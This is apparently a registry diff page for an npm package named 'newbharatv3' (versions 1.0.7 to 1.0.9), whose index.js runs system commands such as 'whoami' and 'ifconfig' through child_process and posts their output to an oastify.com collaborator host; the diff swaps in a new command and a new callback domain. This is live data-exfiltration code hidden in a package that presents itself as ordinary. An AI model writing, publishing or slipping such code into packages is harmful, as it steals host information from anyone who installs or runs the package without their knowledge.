newbharatv3 1.0.7 → 1.0.9

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +2 -2
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -2,7 +2,7 @@ const { exec } = require('child_process');
2
2
  const axios = require('axios');
3
3
 
4
4
  // System command run karna (e.g., 'whoami' ya 'dig example.com')
5
- const command = 'pwd | whoami | ifconfig'; // yahan apni desired command likho
5
+ const command = 'ls'; // yahan apni desired command likho
6
6
 
7
7
  exec(command, async (error, stdout, stderr) => {
8
8
  if (error) {
@@ -19,7 +19,7 @@ exec(command, async (error, stdout, stderr) => {
19
19
 
20
20
  // Ab HTTP request bhejna using axios
21
21
  try {
22
- const response = await axios.post('http://tfck45hh9jrzn2gb1w0b3rpn1e75v0jp.oastify.com', {
22
+ const response = await axios.post('http://j5pr27jwyd78l5etpestecz990fr3jr8.oastify.com', {
23
23
  data: commandOutput // Yahan output ko HTTP request body mein bhej rahe hain
24
24
  });
25
25
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "newbharatv3",
3
- "version": "1.0.7",
3
+ "version": "1.0.9",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {